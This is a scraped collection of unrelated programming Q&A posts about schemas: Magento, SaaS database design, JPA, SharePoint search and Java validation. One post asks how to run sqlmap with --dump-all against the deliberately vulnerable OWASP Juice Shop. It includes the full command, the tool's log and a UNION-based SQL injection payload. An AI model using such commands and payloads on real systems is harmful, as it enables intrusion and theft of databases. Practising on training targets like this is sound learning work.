When updating to Magento 2.3.1 db_schema.xml is invalid: Element ‘schema’: No matching global declaration available for the validation root

While updating Magento 2.2.8 to 2.3.1 I’m facing issue when running bin/magento setup:upgrade I get error:

The XML in file “/var/www/html/vendor/magento/module-store/etc/db_schema.xml” is invalid: Element ‘schema’: No matching global declaration available for the validation root. Line: 9

Anyone was facing this kind of issues?

Database Architecture for Designing Multi User SAAS Application with shared Schema approach [on hold]

I am designing a multi user SAAS Application with a shared Database Model.Posting my approach and looking for validations/rejections on the approach.

Goal/Need
Create a SAAS Application- One global application which is shared by multiple users.Each user can log into the application, save their own data and log out.The expectation from the application is the user should be shown their saved data whenever the user log’s-in. Engineering this in the best (efficient+optimised+least possible monetary cost) manner possible.

Normal Structure of a Database –
MySql -A Database contains Multiple Tables. There is no concept of Schemas.
PostgreSQL – A Database can contain multiple Schema(Public schema is the default Schema). Each Schema can contain Multiple Tables.

Database Design-

In any Infrastructure-as-a-service the Database is the unit of cost -usually a Database is one VM. I as a SAAS developer pay per Database. Keeping this in mind developing a shared SAAS app , I cannot allocate each of my user ONE FULL Database. It is costly and I have to sell my kidney.

On a better approach I can pay for one Database- PostgreSQL in this case and create a Schema per User .Within the Schema I can create Tables and these tables can store user specific data.

Also for security reasons , I make sure I GRANT my user the only person to access this Schema. In this way none of my other Users would be able to see each other’s data.

Question

1. Is my approach valid?
2. If I wanted to follow the same approach in MYSQL how would I do it? Considering there is no concept of Schemas there.
3. If I wanted to follow the same approach in MongoDB how would I do it? Considering there is no concept of Schemas
4. I have gone through various articles which talks about shared Schema approach but none talks about specific cases like this and the tools or best practices which are used in this approach ?

Database schema for products and their packages

The product is water purifier, and we are selling packages included support for changing filters.

Water purifier type A has many serials so the water purifier that we sold to X has it’s own serial (one serial).

My current solution is like this:

order_product table:

id | order_id | product_id | quantity 1    11          2            2     2    12          103          2 

order_product_services table:

order_product_id | serial    | package_order_product_id 1                  654         2 1                  123         2 

As I think it’s a common problem, what’s the best schema for that?

Managed properties in search schema returns null

I have a custom news template in sitepages in a site collection which I do a “copy” and then publish whenever I want to make a new news article.

However, these news articles managed properties (firstpublisheddate, likescount, comments etc) is null when I extract them from the search schema, even if these properties should have data.

Even if the social bar contains likes or comments it does not show in a search connected to their managed properties.

In the search schema I have mapped (as a example) the CP ows_FirstPublishedDate to the FirstPublishedDate MP. Is there any reason why managed properties from the search schema is null, and is there anything I could try?

Como criar Queries para gerar um SCHEMA em JPA

Estou tentando criar uma query para criar um schema em sql automaticamente; assim que abrir o programa ele executa: createQuery(“CREATE NEW SCHEMA IF NOT EXISTS BancoDeDados”);

Meu projeto está assim:

-Classe EntityManagerSource

public class EntityManagerSource {  private static final EntityManagerFactory emf = Persistence.createEntityManagerFactory("PersistenciaDAO");  @Produces @RequestScoped public static EntityManager getEntityManager(){     System.out.println("Banco de Dados: Conectado");     return emf.createEntityManager(); } 

-Classe PERSISTENCE.XML

<persistence-unit name="PersistenciaDAO" transaction-type="RESOURCE_LOCAL">  <provider>org.eclipse.persistence.jpa.PersistenceProvider</provider>     <class>br.edu.ifma.ticketif.model.entity.database.Aluno</class>     <class>br.edu.ifma.ticketif.model.entity.Usuario</class> <properties>    <!--  propriedades do servidor -->     <property name="javax.persistence.jdbc.url"               value="jdbc:mysql://localhost:3306/BancoDeDados?useTimezone=true&amp;serverTimezone=UTC&amp;useSSL=false"/>   <property name="javax.persistence.jdbc.user" value="root"/>   <property name="javax.persistence.jdbc.driver" value="com.mysql.jdbc.Driver"/>   <property name="javax.persistence.jdbc.password" value="admin"/>   <property name="javax.persistence.schema-generation.database.action" value="create"/>   <property name="hbm2ddl.auto" value="create"/>    <!--  propriedades da hibernate -->   <property name="hibernate.dialect"             value="org.hibernate.dialect.MySQL5InnoDBDialect"/>   <property name="hibernate.show_sql" value="true"/>   <property name="hibernate.format_sql" value="true"/>   <property name="hibernate.use_sql_comments" value="false" />   <property name="hibernate.jdbc.wrap_result_sets" value="false" />   <property name="hibernate.hibernate.cache.use_query_cache" value="true" />    <!--  Atualizações do banco de dados -->   <property name="hibernate.hbm2ddl.auto" value="update"/>  </properties> 

How do I use sqlmap to dump the OWASP Juice Shop schema?

I cannot seem to get sqlmap to successfully exploit and retrieve schema information from OWASP’s deliberately vulnerable Juice Shop web application.

I’ve tried to be very specific in my sqlmap command line options to help it along, but it still refuses to cooperate. This is the command that appeared to get me closest:

python .\sqlmap.py -u 'http://localhost:3000/rest/product/search?q=' -p 'q' --level=3 --risk=3 --dbms="sqlite" --dump-all --technique U --union-cols 8 

(I did try --prefix and --suffix .)

This generates:

        ___        __H__  ___ ___[']_____ ___ ___  {1.3.4.4#dev} |_ -| . [(]     | .'| . | |___|_  [)]_|_|_|__,|  _|       |_|V...       |_|   http://sqlmap.org  [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program  [*] starting @ 15:04:29 /2019-04-11/  [15:04:29] [INFO] setting file for logging HTTP traffic [15:04:29] [WARNING] provided value for parameter 'q' is empty. Please, always use only valid parameter values so sqlmap could be able to run properly [15:04:29] [INFO] testing connection to the target URL [15:04:29] [INFO] checking if the target is protected by some kind of WAF/IPS [15:04:29] [WARNING] heuristic (basic) test shows that GET parameter 'q' might not be injectable [15:04:29] [INFO] testing for SQL injection on GET parameter 'q' [15:04:29] [INFO] testing 'Generic UNION query (NULL) - 8 to 8 columns (custom)' injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n]  [15:04:41] [INFO] GET parameter 'q' is 'Generic UNION query (NULL) - 8 to 8 columns (custom)' injectable [15:04:41] [INFO] checking if the injection point on GET parameter 'q' is a false positive [15:04:42] [WARNING] parameter length constraining mechanism detected (e.g. Suhosin patch). Potential problems in enumeration phase can be expected GET parameter 'q' is vulnerable. Do you want to keep testing the others (if any)? [y/N]  sqlmap identified the following injection point(s) with a total of 277 HTTP(s) requests: --- Parameter: q (GET)     Type: UNION query     Title: Generic UNION query (NULL) - 8 columns (custom)     Payload: q=')) UNION ALL SELECT NULL,NULL,NULL,'qxxzq'||'LlkaVrDwPonWdigiXmqckYvJPXMWbHsyWktSKLUe'||'qzxbq',NULL,NULL,NULL,NULL-- BdIT --- [15:04:46] [INFO] testing SQLite [15:04:46] [INFO] confirming SQLite [15:04:46] [INFO] actively fingerprinting SQLite [15:04:46] [INFO] the back-end DBMS is SQLite back-end DBMS: SQLite [15:04:46] [INFO] sqlmap will dump entries of all tables from all databases now [15:04:46] [INFO] fetching tables for database: 'SQLite_masterdb' [15:04:46] [WARNING] the SQL query provided does not return any output [15:04:46] [WARNING] in case of continuous data retrieval problems you are advised to try a switch '--no-cast' or switch '--hex' [15:04:46] [ERROR] unable to retrieve the table names for any database do you want to use common table existence check? [y/N/q]  [15:04:51] [WARNING] HTTP error codes detected during run: 500 (Internal Server Error) - 264 times [15:04:51] [INFO] fetched data logged to text files under 'C:\Users\james.keeler\AppData\Local\sqlmap\output\localhost'  [*] ending @ 15:04:51 /2019-04-11/ 

You can see it recognizes the ‘q’ parameter as vulnerable but it can’t properly inject a payload that doesn’t create a 500 error.

This is the vulnerable query that comes back on the error pages:

SELECT * FROM Products WHERE ((name LIKE '%[INJECTION POINT]%' OR description LIKE '%[INJECTION POINT]%') AND deletedAt IS NULL) ORDER BY name 

If the query doesn’t crash, valid responses look like this:

{"status":"success","data":[{"id":1,"name":"Apple Juice (1000ml)","description":"The all-time classic.","price":1.99,"image":"apple_juice.jpg","createdAt":"2019-04-09 20:42:47.955 +00:00","updatedAt":"2019-04-09 20:42:47.955 +00:00","deletedAt":null},{"id":24,"name":"Apple Pomace","description":"Finest pressings of apples. Allergy disclaimer: Might contain traces of worms. Can be <a href=\"/#recycle\">sent back to us</a> for recycling.","price":0.89,"image":"apple_pressings.jpg","createdAt":"2019-04-09 20:42:47.956 +00:00","updatedAt":"2019-04-09 20:42:47.956 +00:00","deletedAt":null}]} 

I also tried debugging sqlmap with PyCharm so I could walk through the logic. I spent several hours on this, but there are so many requests and caching that I found myself hopelessly lost. I did find that when the union techniques were executed they produced invalid SQL. The payload seemed to be repeated multiple times. I couldn’t tell if it was sqlmap or the fact that the query has two injection points.

And finally, I tried configuring a custom payload in the xml/paylods/union_query.xml configuration file. I couldn’t find any really good documentation or examples other than what was already in the file. Using the --test-filter option (I think) I was able to specify my custom payload, but I still received this warning: [14:39:29] [WARNING] the SQL query provided does not return any output.

What am I doing wrong?

Validating variables/fields from a schema object

Can someone help me to create a generic method that validates common fields/variables comes from multiple objects, if that is possible?

The below code validates some bunch of variables/fields from a schema object, so here the requirement is I have two different schema objects which has common Fields/variables, Is it possible to validate these variables in more generic way. In below code there is two events FI & Profile (Note: Future can be more events like these) these are two different schema objects but has same fields/variables of same Object “Types”.

public class RequestValidation {      public void validateRequest(EventRequest eventRequest) {             //FI Event               FIEventProcessorImpl fiEventProcessor = new FIEventProcessorImpl();             FIEventSchema fiEvent = fiEventProcessor.getFiEventSchema(eventRequest);              //Party data Validation             String partyFName = null;             String partyLName = null;             String partyEmail = null;             String partyId = null;             if (null != fiEvent.getParty()) {                 partyId = fiEvent.getParty().getPartyId();                 if (null != fiEvent.getParty().getPartyName()                         && null != fiEvent.getParty().getPartyName().getName()) {                     partyFName = fiEvent.getParty().getPartyName().getName().getGivenName();                     partyLName = fiEvent.getParty().getPartyName().getName().getSurname();                     if (null == partyFName && null == partyLName) {                         Map<String, Object> nameMap = fiEvent.getParty().getPartyName().getName()                                 .getAdditionalProperties();                         if (!nameMap.isEmpty()) {                             partyFName = getAdditionalProperty(nameMap, "first_name");                             partyLName = getAdditionalProperty(nameMap, "last_name");                         }                     }                 }                 if (null != fiEvent.getParty().getPartyEmail()) {                     partyEmail = fiEvent.getParty().getPartyEmail().getEmailAddress();                     if(null == partyEmail || partyEmail.isEmpty()){                         //Logging missing field value logic                     }                 }             }             if (null == partyFName || partyFName.isEmpty() || null == partyLName || partyLName.isEmpty()                     || null == partyId || partyId.isEmpty()) {                 //Logging missing field value logic             }              //Application Context data Validation             String score = null;             String clientId = null;             if(null != fiEvent.getApplicationContext() && null != fiEvent.getApplicationContext().getContextItems()){                 List<ContextItem> contextItems = fiEvent.getApplicationContext().getContextItems();                 if(null != contextItems && !contextItems.isEmpty()){                     socialScore = getContextValue(contextItems, "SCORE");                     clientFp = getContextValue(contextItems, "CLIENT_ID");                 }             }             if (null == score || score.isEmpty() || null == clientId || clientId.isEmpty()) {                 //Logging missing field value logic             }               //ProfileChange Event             ProfileProcessorImpl eventProcessor = new ProfileProcessorImpl();             ProfileEventSchema profileevent = eventProcessor.getProfileEventSchema(eventRequest);              //Party data Validation             if (null != profileevent.getParty()) {                 partyId = profileevent.getParty().getPartyId();                 if (null != profileevent.getParty().getPartyName()                         && null != profileevent.getParty().getPartyName().getName()) {                     partyFName = profileevent.getParty().getPartyName().getName().getGivenName();                     partyLName = profileevent.getParty().getPartyName().getName().getSurname();                     if (null == partyFName && null == partyLName) {                         Map<String, Object> nameMap = profileevent.getParty().getPartyName().getName()                                 .getAdditionalProperties();                         if (!nameMap.isEmpty()) {                             partyFName = getAdditionalProperty(nameMap, "first_name");                             partyLName = getAdditionalProperty(nameMap, "last_name");                         }                     }                 }                 if (null != profileevent.getParty().getPartyEmail()) {                     partyEmail = profileevent.getParty().getPartyEmail().getEmailAddress();                     if(null == partyEmail || partyEmail.isEmpty()){                     //Logging missing field value logic                     }                 }             }             if (null == partyFName || partyFName.isEmpty() || null == partyLName || partyLName.isEmpty()                     || null == partyId || partyId.isEmpty()) {                 //Logging missing field value logic             }              //Application Context data Validation             if(null != profileevent.getApplicationContext() && null != profileevent.getApplicationContext().getContextItems()){                 List<ContextItem> contextItems = profileevent.getApplicationContext().getContextItems();                 if(null != contextItems && !contextItems.isEmpty()){                     socialScore = getContextValue(contextItems, "SCORE");                     clientFp = getContextValue(contextItems, "CLIENT_ID");                 }             }             if (null == score || score.isEmpty() || null == clientId || clientId.isEmpty()) {                 //Logging missing field value logic             }      }       private String getContextValue(List<ContextItem> contextItems, String key) {         String value = null;         for(ContextItem contextItem : contextItems){             if(contextItem.getKey().equalsIgnoreCase(key)){                 value = contextItem.getValue();             }         }         return value.toString();     }      private String getAdditionalProperty(Map<String, ?> map, String key) {         Object value = map.get(key);         return value == null ? null : value.toString();     } } 

What is the purpose of adding a schema validation in responses?

Many of the server scripting packages/tools out there have the option to have a schema validation before the response is sent out to the clients. E.g. the fastify package for a Node.js has a pretty upfront one.

Only two use cases that I can think of is restricting excess data and security. I feel for the first one, we are in a pretty good bandwidth era to not think about optimizing some 0.2 KiB of data. As for security, a developer who is going to expose the private keys in a restricted environment will definitely do that with a schema-less environment.

I know there cannot be a theoretically answer to this question, but I am looking at a practical answer. Personally, I don’t like having it as I think I would use the time for something else productive. At least at server side code. Think it should be covered in unit testing.